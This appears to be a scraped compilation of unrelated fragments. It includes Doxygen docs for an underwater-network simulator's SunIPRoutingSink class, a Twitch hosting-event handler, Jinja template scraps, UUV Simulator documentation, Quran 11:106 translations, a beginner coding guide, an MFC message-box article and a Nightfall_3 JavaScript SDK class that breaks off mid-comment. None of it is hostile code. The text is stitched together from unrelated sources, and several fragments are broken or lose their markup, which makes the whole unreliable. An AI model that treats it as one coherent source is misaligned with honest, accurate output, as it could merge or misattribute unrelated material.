#include <sun-ipr-sink.h>
|
| virtual int | command (int, const char *const *) |
| |
| virtual void | recv (Packet *) |
| |
| virtual int | recvSyncClMsg (ClMessage *) |
| |
| virtual int | recvAsyncClMsg (ClMessage *) |
| |
| virtual void | initialize () |
| |
| virtual void | sendProbe () |
| |
| const double | getDelay (const double &period_) const |
| |
| virtual void | start () |
| |
| virtual void | stop () |
| |
| virtual void | transmit () |
| |
| virtual void | setProbeTimer (const double &) |
| |
| virtual const double & | getProbeTimer () const |
| |
| virtual void | sendBackAck (const Packet *) |
| |
| virtual void | initPktAck (Packet *) |
| |
| const long & | getProbeCount () const |
| |
| const long & | getAckCount () const |
| |
| virtual void | tracePacket (const Packet *const, const string &position="UNDEF___") |
| |
| virtual string | createTraceString (const string &, const double &, const int &, const int &, const int &, const int &, const int &, const int &, const int &, const double &, const int &, const int &) |
| |
| virtual void | writeInTrace (const string &) |
| |
| virtual void | writePathInTrace (const Packet *) |
| |
SunIPRoutingSink class is used to represent the routing layer of a sink.
Definition at line 72 of file sun-ipr-sink.h.
◆ SunIPRoutingSink() [1/2]
| SunIPRoutingSink::SunIPRoutingSink |
( |
| ) |
|
◆ ~SunIPRoutingSink()
| SunIPRoutingSink::~SunIPRoutingSink |
( |
| ) |
|
|
virtual |
◆ SunIPRoutingSink() [2/2]
Copy constructor declared as private.
It is not possible to create a new SunIPRoutingSink object passing to its constructor another SunIPRoutingSink object.
- Parameters
-
◆ command()
| int SunIPRoutingSink::command |
( |
int |
argc, |
|
|
const char *const * |
argv |
|
) |
| |
|
protectedvirtual |
TCL command interpreter.
It implements the following OTcl methods:
- Parameters
-
| argc | Number of arguments in argv. |
| argv | Array of strings which are the command parameters (Note that argv[0] is the name of the object). |
- Returns
- TCL_OK or TCL_ERROR whether the command has been dispatched successfully or not.
Definition at line 121 of file sun-ipr-sink.cpp.
◆ createTraceString()
| string SunIPRoutingSink::createTraceString |
( |
const string & |
info_string, |
|
|
const double & |
simulation_time_, |
|
|
const int & |
node_id_, |
|
|
const int & |
pkt_id_, |
|
|
const int & |
pkt_sn_, |
|
|
const int & |
pkt_from_, |
|
|
const int & |
pkt_next_hop, |
|
|
const int & |
pkt_source_, |
|
|
const int & |
pkt_destination_, |
|
|
const double & |
snr_, |
|
|
const int & |
direction_, |
|
|
const int & |
pkt_type |
|
) |
| |
|
protectedvirtual |
Function that accept a list of string and create an entry for the trace file.
Definition at line 532 of file sun-ipr-sink.cpp.
◆ getAckCount()
| const long& SunIPRoutingSink::getAckCount |
( |
| ) |
const |
|
inlineprotected |
Returns the number of Ack packets processed by the entire network.
- Returns
- Number of Ack packets processed by the entire network.
Definition at line 308 of file sun-ipr-sink.h.
◆ getAckHeaderSize()
| static const int SunIPRoutingSink::getAckHeaderSize |
( |
| ) |
|
|
inlinestaticprotected |
◆ getDelay()
| const double SunIPRoutingSink::getDelay |
( |
const double & |
period_ | ) |
const |
|
inlineprotected |
◆ getProbeCount()
| const long& SunIPRoutingSink::getProbeCount |
( |
| ) |
const |
|
inlineprotected |
Returns the number of Probe packets processed by the entire network.
- Returns
- Number of Probe packets processed by the entire network.
Definition at line 297 of file sun-ipr-sink.h.
◆ getProbePktHeaderSize()
| static const int SunIPRoutingSink::getProbePktHeaderSize |
( |
| ) |
|
|
inlinestaticprotected |
◆ getProbeTimer()
| const double & SunIPRoutingSink::getProbeTimer |
( |
| ) |
const |
|
protectedvirtual |
Returns the current time interval between two consecutive probes.
- Returns
- The time interval between two consecutive probes.
Definition at line 421 of file sun-ipr-sink.cpp.
◆ initialize()
| void SunIPRoutingSink::initialize |
( |
| ) |
|
|
protectedvirtual |
◆ initPktAck()
| void SunIPRoutingSink::initPktAck |
( |
Packet * |
p | ) |
|
|
protectedvirtual |
Initializes an ack packet passed as argument with the default values.
- Parameters
-
| Packet* | Pointer to a packet already allocated to fill with the right values. |
Definition at line 460 of file sun-ipr-sink.cpp.
◆ printIP() [1/2]
| string SunIPRoutingSink::printIP |
( |
const nsaddr_t & |
ip_ | ) |
|
|
staticprotected |
Return a string with an IP in the classic form "x.x.x.x" converting an ns2 nsaddr_t address.
- Parameters
-
- Returns
- String that contains a printable IP in the classic form "x.x.x.x"
Definition at line 337 of file sun-ipr-sink.cpp.
◆ printIP() [2/2]
| string SunIPRoutingSink::printIP |
( |
const ns_addr_t & |
ipt_ | ) |
|
|
staticprotected |
Return a string with an IP in the classic form "x.x.x.x" converting an ns2 ns_addr_t address.
- Parameters
-
- Returns
- String that contains a printable IP in the classic form "x.x.x.x"
Definition at line 356 of file sun-ipr-sink.cpp.
◆ recv()
| void SunIPRoutingSink::recv |
( |
Packet * |
p | ) |
|
|
protectedvirtual |
Performs the reception of packets from upper and lower layers.
- Parameters
-
| Packet* | Pointer to the packet will be received. |
Definition at line 222 of file sun-ipr-sink.cpp.
◆ recvAsyncClMsg()
| int SunIPRoutingSink::recvAsyncClMsg |
( |
ClMessage * |
m | ) |
|
|
protectedvirtual |
Cross-Layer messages asynchronous interpreter.
Used to retrive the IP od the current node from the IP module.
- Parameters
-
| ClMessage* | an instance of ClMessage that represent the message received and used for the answer. |
- Returns
- 0 if successful.
Definition at line 109 of file sun-ipr-sink.cpp.
◆ recvSyncClMsg()
| int SunIPRoutingSink::recvSyncClMsg |
( |
ClMessage * |
m | ) |
|
|
protectedvirtual |
Cross-Layer messages synchronous interpreter.
- Parameters
-
| ClMessage* | an instance of ClMessage that represent the message received |
- Returns
- 0 if successful.
Definition at line 101 of file sun-ipr-sink.cpp.
◆ sendBackAck()
| void SunIPRoutingSink::sendBackAck |
( |
const Packet * |
p | ) |
|
|
protectedvirtual |
Creates an ack packet and sends it to the previous hop using the information contained in the header of the data packet passed as input parameter.
It is an ack to the previous hop, and not to the source of the packet.
- Parameters
-
| Packet* | Pointer to a Data packet to acknowledge. |
- See also
- SunIPRoutingSink::initPktAck()
Definition at line 429 of file sun-ipr-sink.cpp.
◆ sendProbe()
| void SunIPRoutingSink::sendProbe |
( |
| ) |
|
|
protectedvirtual |
Creates and sends in broadcast a probe message to notify the presence of the sink.
Definition at line 303 of file sun-ipr-sink.cpp.
◆ setProbeTimer()
| void SunIPRoutingSink::setProbeTimer |
( |
const double & |
t_ | ) |
|
|
protectedvirtual |
Sets the probe interval timer.
- Parameters
-
| double& | Time t in seconds between two consecutive probes. |
Definition at line 411 of file sun-ipr-sink.cpp.
◆ start()
| void SunIPRoutingSink::start |
( |
| ) |
|
|
protectedvirtual |
◆ stop()
| void SunIPRoutingSink::stop |
( |
| ) |
|
|
protectedvirtual |
◆ str2addr()
| nsaddr_t SunIPRoutingSink::str2addr |
( |
const char * |
str | ) |
|
|
staticprotected |
Returns a nsaddr_t address from an IP written as a string in the form "x.x.x.x".
- Parameters
-
- Returns
- nsaddr_t that contains the IP converter from the input string
Definition at line 362 of file sun-ipr-sink.cpp.
◆ tracePacket()
| void SunIPRoutingSink::tracePacket |
( |
const Packet * const |
p, |
|
|
const string & |
position = "UNDEF___" |
|
) |
| |
|
protectedvirtual |
Traces a packet.
- Parameters
-
| Packet | to be traced. |
| String | optional for the packet. |
Definition at line 485 of file sun-ipr-sink.cpp.
◆ transmit()
| void SunIPRoutingSink::transmit |
( |
| ) |
|
|
protectedvirtual |
◆ writeInTrace()
| void SunIPRoutingSink::writeInTrace |
( |
const string & |
string_to_write_ | ) |
|
|
protectedvirtual |
Opens the trace file, writes the string passed as input and closes the file.
- Parameters
-
| String | to write in the trace file. |
Definition at line 556 of file sun-ipr-sink.cpp.
◆ writePathInTrace()
| void SunIPRoutingSink::writePathInTrace |
( |
const Packet * |
p | ) |
|
|
protectedvirtual |
Writes in the Path Trace file the path contained in the Packet.
- Parameters
-
Definition at line 567 of file sun-ipr-sink.cpp.
◆ SendTimer
◆ arrayofstats_
| unsigned int** SunIPRoutingSink::arrayofstats_ |
|
protected |
Structure that contains the number of data packets received by the the sink, for different nodes and for different values of hop count.
It is used for statistics purposes.
Definition at line 365 of file sun-ipr-sink.h.
◆ ipAddr_
| nsaddr_t SunIPRoutingSink::ipAddr_ |
|
protected |
◆ number_of_ackpkt_
| long SunIPRoutingSink::number_of_ackpkt_ = 0 |
|
staticprotected |
◆ numberofnodes_
| int SunIPRoutingSink::numberofnodes_ |
|
protected |
Number of nodes in the network, used for statistic purposes.
Definition at line 363 of file sun-ipr-sink.h.
◆ osstream_
| ostringstream SunIPRoutingSink::osstream_ |
|
protected |
◆ periodPoissonTraffic_
| double SunIPRoutingSink::periodPoissonTraffic_ |
|
protected |
◆ PoissonTraffic_
| int SunIPRoutingSink::PoissonTraffic_ |
|
protected |
Enable (1) or disable (0) the Poisson traffic for SUN packets.
Definition at line 351 of file sun-ipr-sink.h.
◆ printDebug_
| int SunIPRoutingSink::printDebug_ |
|
protected |
Flag to enable or disable dirrefent levels of debug.
Definition at line 354 of file sun-ipr-sink.h.
◆ probe_count_
| long SunIPRoutingSink::probe_count_ = 0 |
|
staticprotected |
◆ sendTmr_
◆ t_probe
| double SunIPRoutingSink::t_probe |
|
protected |
◆ trace_
| bool SunIPRoutingSink::trace_ |
|
protected |
Flag used to enable or disable the trace file for nodes,.
Definition at line 376 of file sun-ipr-sink.h.
◆ trace_file_
| ofstream SunIPRoutingSink::trace_file_ |
|
protected |
Ofstream used to write the trace file in the disk.
Definition at line 388 of file sun-ipr-sink.h.
◆ trace_file_name_
| char* SunIPRoutingSink::trace_file_name_ |
|
protected |
Name of the trace file writter for the current node.
Definition at line 381 of file sun-ipr-sink.h.
◆ trace_file_path_
| ofstream SunIPRoutingSink::trace_file_path_ |
|
protected |
Ofstream used to write the path trace file in the disk.
Definition at line 390 of file sun-ipr-sink.h.
◆ trace_file_path_name_
| char* SunIPRoutingSink::trace_file_path_name_ |
|
protected |
Name of the trace file that contains the list of paths of the data packets received.
Definition at line 384 of file sun-ipr-sink.h.
◆ trace_path_
| bool SunIPRoutingSink::trace_path_ |
|
protected |
Flag used to enable or disable the path trace file for nodes,.
Definition at line 378 of file sun-ipr-sink.h.
◆ trace_separator_
| char SunIPRoutingSink::trace_separator_ |
|
protected |
Used as separator among elements in an entr of the tracefile.
Definition at line 392 of file sun-ipr-sink.h.
The documentation for this class was generated from the following files:


Hosted
In order to know when we are being hosted by another channel we need to peek into the PRIVMSG
command when it's delivered by 'jtv'
which is a Twitch mechanism that is arguably a little bit old.
In this example we need to parse the message to find out what is happening.
twitch.chat.extend('PRIVMSG', function (msg) {
if (msg.prefix.user !== 'jtv') {
return;
}
// "ronni is now hosting you for 0 viewers."
// "ronni is now auto-hosting you for 0 viewers."
if (!msg.params[0].includes('hosting you')) {
return;
}
const parts = msg.params[0].split(' ');
const user = parts.shift();
const viewers = parts.find(part => !isNaN(part));
const autoHosting = parts.includes('auto-hosting');
return {
command: 'hosted',
user,
viewers: parseInt(viewers, 10) || 0,
autoHosting
};
});
twitch.chat.on('hosted', function (msg) {
const { user, viewers, autoHosting } = msg.extended;
const hosting = autoHosting ? 'auto-hosting' : 'hosting';
console.log(`${user} is now ${hosting} you for ${viewers} viewers!`);
});


{% extends 'base.html'%} {% import 'macros.html' as macro%} {% block styles%} {{ super() }} {% endblock %} {% block content %}
Click on button to create a pitchAdd Pitch
{{pitch.description}}


{% if not switches %}
There are no active switches.
There are {{ active_switches_count }} active switches.


Welcome to UUV Simulator’s documentation!¶
The UUV Simulator is a package containing the implementation of Gazebo plugins and ROS nodes necessary for the simulation of unmanned underwater vehicles, such as ROVs (remotely operated vehicles) and AUVs (autonomous underwater vehicles).
To send questions and/or issues, please refer to the repository’s issues page.
Click here to access the GitHub repository.
Status of the master branch
Contents¶
- Installation
- Quick start
- Tutorials
- Creating a new underwater vehicle model
- Configuring the thruster manager for a new vehicle
- Creating a new custom dynamic positioning controller
- Making a simple seabed world model
- Applying disturbances during the simulation
- Starting a plume simulation
- How to use the wrapper class for repetitive simulation runs
- Vehicles available
- Simulation scenarios
- F.A.Q.
- License
Reference¶
If you wish to use the UUV Simulator in a research project, please cite our paper
@inproceedings{Manhaes_2016,
doi = {10.1109/oceans.2016.7761080},
url = {https://doi.org/10.1109%2Foceans.2016.7761080},
year = 2016,
month = {sep},
publisher = {{IEEE}},
author = {Musa Morena Marcusso Manh{\~{a}}es and Sebastian A. Scherer and Martin Voss and Luiz Ricardo Douat and Thomas Rauschenbach},
title = {{UUV} Simulator: A Gazebo-based package for underwater intervention and multi-robot simulation},
booktitle = {{OCEANS} 2016 {MTS}/{IEEE} Monterey}
}
Purpose of the project¶
This software is a research prototype, originally developed for the EU ECSEL Project 662107 SWARMs.
The software is not ready for production use. It has neither been developed nor tested for a specific use case. However, the license conditions of the applicable Open Source licenses allow you to adapt the software to your needs. Before using it in a safety relevant setting, make sure that the software fulfills your requirements and adjust it according to any applicable safety standards (e.g. ISO 26262).
License¶
UUV Simulator is open-sourced under the Apache-2.0 license. See the LICENSE file for details.
For a list of other open source components included in UUV Simulator, see the file 3rd-party-licenses.txt.
Indices and tables¶
Useful bibliography¶
| [1] | SNAME, Nomenclature for treating the motion of a submerged body through a fluid. Technical and Research Bulletin. 1950. |
| [2] | Gianluca Antonelli, Thor I Fossen, and Dana R Yoerger. Underwater robotics. In Springer Handbook of Robotics, pages 987–1008. Springer Science + Business Media, 2008. URL: http://dx.doi.org/10.1007/978-3-540-30301-5_44, doi:10.1007/978-3-540-30301-5_44. |
| [3] | Viktor Berg. Development and commissioning of a DP system for ROV SF 30k. 2012. URL: https://brage.bibsys.no/xmlui/handle/11250/238170?locale-attribute=no. |
| [4] | Wallace M Bessa, Max Suell Dutra, and Edwin Kreuzer. Thruster dynamics compensation for the positioning of underwater robotic vehicles through a fuzzy sliding mode based approach. In ABCM Symposium Series in Mechatronics, volume 2, 605–612. 2006. |
| [5] | Thor I Fossen. Handbook of Marine Craft Hydrodynamics and Motion Control. Wiley, 2011. |
| [6] | Thor I Fossen. Lecture notes: TTK4190 Guidance and Control of Vehicles, Norwegian University of Science and Technology. 2011. URL: http://www.fossen.biz/wiley/. |
| [7] | Luis Govinda García-Valdovinos, Tomás Salgado-Jiménez, Manuel Bandala-Sánchez, Luciano Nava-Balanzar, Rodrigo Hernández-Alvarado, and José Antonio Cruz-Ledesma. Modelling, design and robust control of a remotely operated underwater vehicle. Int J Adv Robotic Sy, pages 1, 2014. doi:10.5772/56810. |
| [8] | R Hall and S Anstee. Trim Calculation Methods for a Dynamical Model of the REMUS 100 Autonomous Underwater Vehicle. 2011. URL: http://dspace.dsto.defence.gov.au/dspace/handle/1947/10167. |
| [9] | Stein M Nornes, Martin Ludvigsen, Øyvind Ødegard, and Asgeir J SØrensen. Underwater photogrammetric mapping of an intact standing steel wreck with ROV. IFAC-PapersOnLine, 48(2):206–211, 2015. |
| [10] | Jason Matthew O’Kane. A Gentle Introduction to ROS. University of South Carolina, 2014. URL: https://cse.sc.edu/~jokane/agitr/agitr-letter.pdf. |
| [11] | Jon Erling Gorset Refsnes. Nonlinear model-based control of slender body AUVs. PhD thesis, Norwegian University of Science and Technology, 2007. |
| [12] | Yu Tian and Aiqun Zhang. Simulation environment and guidance system for AUV tracing chemical plume in 3-dimensions. In 2010 2nd International Asia Conference on Informatics in Control, Automation and Robotics (CAR 2010). IEEE, mar 2010. |
| [13] | Dana R Yoerger, John G Cooke, and Jean-Jacques E Slotine. The influence of thruster dynamics on underwater vehicle behavior and their incorporation into control system design. IEEE Journal of Oceanic Engineering, 15(3):167–178, jul 1990. doi:10.1109/48.107145. |
| [14] | Dick K P Yue. Lecture Notes: Marine Hydrodynamics, MIT. 2005. URL: https://ocw.mit.edu/courses/mechanical-engineering/2-20-marine-hydrodynamics-13-021-spring-2005. |


| 011:105 Yusufali | : |
The day it arrives, no soul shall speak except by His leave: of those (gathered) some will be wretched and some will be blessed. |
| 011:106 Khan | : |
As for those who are wretched, they will be in the Fire, sighing in a high and low tone. |
| 011:106 Maulana | : |
Then as for those who are unhappy, they will be in the Fire; for them therein will be sighing and groaning -- |
| 011:106 Pickthal | : |
As for those who will be wretched (on that day) they will be in the Fire; sighing and wailing will be their portion therein, |
| 011:106 Rashad | : |
As for the miserable ones, they will be in Hell, wherein they sigh and wail. |
| 011:106 Sarwar | : |
The condemned ones will live in hell fire, sighing and groaning |
| 011:106 Shakir | : |
So as to those who are unhappy, they shall be in the fire; for them shall be sighing and groaning in it: |
| 011:106 Sherali | : |
As to the unfortunate, they shall be in the Fire, wherein there will be for them sighing and sobbing, |
Concepts/Themes Covered: أركان الإسلام > التوحيد > الكافرون > صفات الكفار Pillars of Islam> Islamic> The Disbelievers> The Characteristics of the Disbelievers الإيمان > الغيب > النار > أصحاب النار Faith> The Unseen World> Hell-Fire>Hell Fellows الإيمان > اليوم الآخر > أهواله Faith> The Hereafter> Its Horrors
This tool uses eight English parallel translations for the Holy Quran imported from Mr. Clay Smith. You can also visit Qurany Concepts for browsing the Quran themes or topics. If you want to search the Holy Quran for keywords, please visit Qurany Keywords.


Welcome to the official starter pack for becoming a developer! Here's all the stuff that's mandatory:
That's it! It doesn't take much to start to code. The toughest part is persisting and pushing yourself to learn more and more to advance your skills.
Some text editors I recommend are Atom and Sublime Text. However, you may even use TextEdit or WordPad if you wish :P
HTML, CSS, and JS are the building blocks of the web. You markup your webpage in the Hyper Text Markup Language, make it look pretty with Cascading Style Sheets, and make the magic happen with JavaScript. They are a powerful trio, and thankfully, the easiest to get started with.
All you need to make your first webpage is to open up your text editor and save it as a .html
page. In the file, you can write something like
and the text will be shown once you open your browser. Don't worry, you'll learn the markup as you get started building projects.Hello World!
Now, CSS is what makes the web as beautiful as it is today. In fact, I highly recommend Jeremy Thomas's Web Design in 4 Minutes. It introduces some key CSS concepts in a step-by-step fashion and eventually converts the dull page into an attractive one.
JavaScript is where the real programming comes into play. It's fully packed - consisting of mostly everything you'd think of in a programming language. With functions, objects, variables, constants, and much more, JavaScript provides the elements for any developer to create something amazing. Here's a quick example:
var triangle = ''; for (var i = 0; i < 7; i++) { console.log(triangle += '#'); }
Console Log:
#
##
###
####
#####
######
#######
Take a look at what we can do in just 4 lines of code. In this example, we set the variable triangle
to an empty string. Then, we used a for
loop to add a new #
symbol until the variable i
, which is defined as 0, hits 7. In essence, the program keeps on adding a #
as it is told to do so and stops only once it has repeated it seven times.
If this is a little above your head, don't worry. It'll get easier as you dig into Web Development.
Node.js is well, a runtime built on JavaScript. However, it allows for something great. Node.js lets one use the same JavaScript syntax but on the server. If you have not noticed already, JavaScript is a scripting language built for use only in the browser. Node.js is different because it lets you use JavaScript as if it was any other programming language.
For example, with Node.js, you can transfer information from the client to the server, thus enabling the creation of apps such as real-time messaging or bots.
To get started, make sure you install Node.js and npm, its package manager.
Python is a high level programming language that's super popular. Python's main strength is that it's a general purpose and flexible. language You can download Python here .


{%extends 'base.html' %} {% block title %}
Name: {{object[3]}}
Current Bidding Price: ${{object[5]}} AUD
Minimum Price: ${{object[4]}} AUD
Buy Now Price: ${{object[7]}} AUD


Introduction
I always wanted to have some kind of replacement for the standard MFC
Message Box available in VC++. So, the idea came up, and I created a
simple COM based object which will display a message box you can see on
the shot above. You can drag it and text will be scrolling up. Font size,
color and scroll time are selectable.
Background
I have used some code for text scrolling ( despite that, had to fix
some bugs with scroll timer settings) in the good sample I found here some
time ago. Unfortunately cannot recall the author name. Sorry mate !
Using the code
Just open Demo project source file TestDlg.cpp - Handler for Button 1
is optional, use it if you like to change the default settings. Otherwise
just use Button 2. Don't forget to initialize a COM object as usual. I
think it is too easy for putting sample code and you'll find all you need
in the source code.


import axios from 'axios';
import Web3 from 'web3';
import WebSocket from 'ws';
import EventEmitter from 'events';
import { generateKeys } from '../../nightfall-client/src/services/keys.mjs';
/**
@class
Creates a new Nightfall_3 library instance.
@param {string} clientBaseUrl - The base url for nightfall-client
@param {string} optimistBaseUrl - The base url for nightfall-optimist
@param {string} optimistWsUrl - The webscocket url for nightfall-optimist
@param {string} web3WsUrl - The websocket url for the web3js client
@param {string} ethereumSigningKey - the Ethereum siging key to be used for transactions (hex string).
@param {object} zkpKeys - An object containing the zkp keys to use. These will be auto-generated if left undefined.
*/
class Nf3 {
clientBaseUrl;
optimistBaseUrl;
optimistWsUrl;
web3WsUrl;
web3;
websockets = [];
shieldContractAddress;
proposersContractAddress;
challengesContractAddress;
stateContractAddress;
ethereumSigningKey;
ethereumAddress;
zkpKeys;
defaultFee = 10;
PROPOSER_BOND = 10;
BLOCK_STAKE = 1;
constructor(
clientBaseUrl,
optimistBaseUrl,
optimistWsUrl,
web3WsUrl,
ethereumSigningKey,
zkpKeys,
) {
this.clientBaseUrl = clientBaseUrl;
this.optimistBaseUrl = optimistBaseUrl;
this.optimistWsUrl = optimistWsUrl;
this.web3WsUrl = web3WsUrl;
this.ethereumSigningKey = ethereumSigningKey;
this.zkpKeys = zkpKeys;
}
/**
Initialises the Nf_3 object so that it can communicate with Nightfall_3 and the
blockchain.
@returns {Promise}
*/
async init() {
this.web3 = new Web3(this.web3WsUrl);
this.zkpKeys = this.zkpKeys || (await generateKeys());
this.shieldContractAddress = await this.getContractAddress('Shield');
this.proposersContractAddress = await this.getContractAddress('Proposers');
this.challengesContractAddress = await this.getContractAddress('Challenges');
this.stateContractAddress = await this.getContractAddress('State');
// set the ethereumAddress iff we have a signing key
if (this.ethereumSigningKey)
this.ethereumAddress = this.web3.eth.accounts.privateKeyToAccount(
this.ethereumSigningKey,
).address;
return this.subscribeToIncomingViewingKeys();
}
/**
Setter for the ethereum private key, in case it wasn't known at build time.
This will also update the corresponding Ethereum address that Nf_3 uses.
@method
@param {string} key - the ethereum private key as a hex string.
*/
setEthereumSigningKey(key) {
this.ethereumSigningKey = key;
this.ethereumAddress = this.web3.eth.accounts.privateKeyToAccount(
this.ethereumSigningKey,
).address;
}
/**
Setter for the zkp keys, in case it wasn't known at build time and we don't
want to use autogenerated ones.
@method
@param {object} keys - The zkp keys object.
*/
setzkpKeys(keys) {
this.zkpKeys = keys;
}
/**
Method for signing and submitting an Ethereum transaction to the
blockchain.
@method
@async
@param {object} unsignedTransaction - An unsigned web3js transaction object.
@param {string} shieldContractAddress - The address of the Nightfall_3 shield address.
@param {number} fee - the value of the transaction.
This can be found using the getContractAddress convenience function.
@returns {Promise} This will resolve into a transaction receipt.
*/
async submitTransaction(
unsignedTransaction,
contractAddress = this.shieldContractAddress,
fee = this.defaultFee,
) {
const nonce = await this.web3.eth.getTransactionCount(this.ethereumAddress);
const tx = {
to: contractAddress,
data: unsignedTransaction,
value: fee,
gas: 10000000,
gasPrice:<PHONE_NUMBER>0,
nonce,
};
const signed = await this.web3.eth.accounts.signTransaction(tx, this.ethereumSigningKey);
return this.web3.eth.sendSignedTransaction(signed.rawTransaction);
}
/**
Determines if a Nightfall_3 server is running and healthy.
@method
@async
@param {string} server - The name of the server being checked ['client', 'optimist']
@returns {Promise} This will resolve into a boolean - true if the healthcheck passed.
*/
async healthcheck(server) {
let url;
switch (server) {
case 'client':
url = this.clientBaseUrl;
break;
case 'optimist':
url = this.optimistBaseUrl;
break;
default:
throw new Error('Unknown server name');
}
let res;
try {
res = await axios.get(`${url}/healthcheck`);
if (res.status !== 200) return false;
} catch (err) {
return false;
}
return true;
}
/**
Returns the address of a Nightfall_3 contract.
@method
@async
@param {string} contractName - the name of the smart contract in question. Possible
values are 'Shield', 'State', 'Proposers', 'Challengers'.
@returns {Promise} Resolves into the Ethereum address of the contract
*/
async getContractAddress(contractName) {
const res = await axios.get(`${this.clientBaseUrl}/contract-address/${contractName}`);
return res.data.address;
}
/**
Deposits a Layer 1 token into Layer 2, so that it can be transacted
privately.
@method
@async
@param {number} fee - The amount (Wei) to pay a proposer for the transaction
@param {string} ercAddress - The address of the ERCx contract from which the token
is being taken. Note that the Nightfall_3 State.sol contract must be approved
by the token's owner to be able to withdraw the token.
@param {string} tokenType - The type of token to deposit. Possible values are
'ERC20', 'ERC721', 'ERC1155'.
@param {number} value - The value of the token, in the case of an ERC20 or ERC1155
token. For ERC721 this should be set to zero.
@param {string} tokenId - The ID of an ERC721 or ERC1155 token. In the case of
an 'ERC20' coin, this should be set to '0x00'.
@param {object} keys - The ZKP private key set.
@returns {Promise} Resolves into the Ethereum transaction receipt.
*/
async deposit(ercAddress, tokenType, value, tokenId, fee = this.defaultFee) {
const res = await axios.post(`${this.clientBaseUrl}/deposit`, {
ercAddress,
tokenId,
tokenType,
value,
pkd: this.zkpKeys.pkd,
nsk: this.zkpKeys.nsk,
fee,
});
return this.submitTransaction(res.data.txDataToSign, this.shieldContractAddress, fee);
}
/**
Transfers a token within Layer 2.
@method
@async
@param {number} fee - The amount (Wei) to pay a proposer for the transaction
@param {string} ercAddress - The address of the ERCx contract from which the token
is being taken. Note that the Nightfall_3 State.sol contract must be approved
by the token's owner to be able to withdraw the token.
@param {string} tokenType - The type of token to deposit. Possible values are
'ERC20', 'ERC721', 'ERC1155'.
@param {number} value - The value of the token, in the case of an ERC20 or ERC1155
token. For ERC721 this should be set to zero.
@param {string} tokenId - The ID of an ERC721 or ERC1155 token. In the case of
an 'ERC20' coin, this should be set to '0x00'.
@param {object} keys - The ZKP private key set of the sender.
@param {array} pkd - The transmission key of the recipient (this is a curve point
represented as an array of two hex strings).
@returns {Promise} Resolves into the Ethereum transaction receipt.
*/
async transfer(
offchain = false,
ercAddress,
tokenType,
value,
tokenId,
pkd,
fee = this.defaultFee,
) {
const res = await axios.post(`${this.clientBaseUrl}/transfer`, {
offchain,
ercAddress,
tokenId,
recipientData: {
values: [value],
recipientPkds: [pkd],
},
nsk: this.zkpKeys.nsk,
ask: this.zkpKeys.ask,
fee,
});
if (!offchain) {
return this.submitTransaction(res.data.txDataToSign, this.shieldContractAddress, fee);
}
return res.status;
}
/**
Withdraws a token from Layer 2 back to Layer 1. It can then be withdrawn from
the Shield contract's account by the owner in Layer 1.
@method
@async
@param {number} fee - The amount (Wei) to pay a proposer for the transaction
@param {string} ercAddress - The address of the ERCx contract from which the token
is being taken. Note that the Nightfall_3 State.sol contract must be approved
by the token's owner to be able to withdraw the token.
@param {string} tokenType - The type of token to deposit. Possible values are
'ERC20', 'ERC721', 'ERC1155'.
@param {number} value - The value of the token, in the case of an ERC20 or ERC1155
token. For ERC721 this should be set to zero.
@param {string} tokenId - The ID of an ERC721 or ERC1155 token. In the case of
an 'ERC20' coin, this should be set to '0x00'.
@param {object} keys - The ZKP private key set of the sender.
@param {string} recipientAddress - The Ethereum address to where the withdrawn tokens
should be deposited.
@returns {Promise} Resolves into the Ethereum transaction receipt.
*/
async withdraw(
offchain = false,
ercAddress,
tokenType,
value,
tokenId,
recipientAddress,
fee = this.defaultFee,
) {
const res = await axios.post(`${this.clientBaseUrl}/withdraw`, {
offchain,
ercAddress,
tokenId,
tokenType,
value,
recipientAddress,
nsk: this.zkpKeys.nsk,
ask: this.zkpKeys.ask,
fee,
});
const { transactionHash: withdrawTransactionHash } = res.data.transaction;
if (!offchain) {
const receiptPromise = this.submitTransaction(
res.data.txDataToSign,
this.shieldContractAddress,
fee,
);
return { withdrawTransactionHash, receiptPromise };
}
return { withdrawTransactionHash, receiptPromise: res.status };
}
/**
Enables someone with a valid withdraw transaction in flight to request instant
withdrawal of funds (only relevant for ERC20).
@method
@async
@param {string} withdrawTransactionHash - the hash of the Layer 2 transaction in question
@param {number} fee - the amount being paid for the instant withdrawal service
*/
async requestInstantWithdrawal(withdrawTransactionHash, fee) {
// find the L2 block containing the L2 transaction hash
let res = await axios.get(
`${this.optimistBaseUrl}/block/transaction-hash/${withdrawTransactionHash}`,
);
const { block, transactions, index } = res.data;
// set the instant withdrawal fee
res = await axios.post(`${this.clientBaseUrl}/set-instant-withdrawal`, {
block,
transactions,
index,
});
return this.submitTransaction(res.data.txDataToSign, this.shieldContractAddress, fee);
}
/**
Enables someone to service a request for an instant withdrawal
@method
@async
@param {string} withdrawTransactionHash - the hash of the Layer 2 transaction in question
*/
async advanceInstantWithdrawal(withdrawTransactionHash) {
const res = await axios.post(`${this.optimistBaseUrl}/transaction/advanceWithdrawal`, {
transactionHash: withdrawTransactionHash,
});
return this.submitTransaction(res.data.txDataToSign, this.shieldContractAddress, 0);
}
/**
Returns an event emitter that fires each time an InstantWithdrawalRequested
event is detected on the blockchain
*/
async getInstantWithdrawalRequestedEmitter() {
const emitter = new EventEmitter();
const connection = new WebSocket(this.optimistWsUrl);
this.websockets.push(connection); // save so we can close it properly later
connection.onopen = () => {
connection.send('instant');
};
connection.onmessage = async message => {
const msg = JSON.parse(message.data);
const { type, withdrawTransactionHash, paidBy, amount } = msg;
if (type === 'instant') {
emitter.emit('data', withdrawTransactionHash, paidBy, amount);
}
};
return emitter;
}
/**
Provides nightfall-client with a set of viewing keys. Without these,
it won't listen for BlockProposed events and so won't update its transaction collection
with information about which are on-line.
@method
@async
@param {object} keys - Object containing the ZKP key set (this may be generated
with the makeKeys function).
*/
async subscribeToIncomingViewingKeys() {
return axios.post(`${this.clientBaseUrl}/incoming-viewing-key`, {
ivks: [this.zkpKeys.ivk],
nsks: [this.zkpKeys.nsk],
});
}
/**
Closes the Nf3 connection to the blockchain and any open websockets to NF_3
@method
@async
*/
close() {
this.web3.currentProvider.connection.close();
this.websockets.forEach(websocket => websocket.close());
}
/**
Registers a new proposer and pays the Bond required to register.
It will use the address of the Ethereum Signing key that is holds to register
the proposer.
@method
@async
@returns {Promise} A promise that resolves to the Ethereum transaction receipt.
*/
async registerProposer() {
const res = await axios.post(`${this.optimistBaseUrl}/proposer/register`, {
address: this.ethereumAddress,
});
return this.submitTransaction(
res.data.txDataToSign,
this.proposersContractAddress,
this.PROPOSER_BOND,
);
}
/**
Adds a new Proposer peer to a list of proposers that are available for accepting
offchain (direct) transfers and withdraws. The client will submit direct transfers
and withdraws to all of these peers.
@method
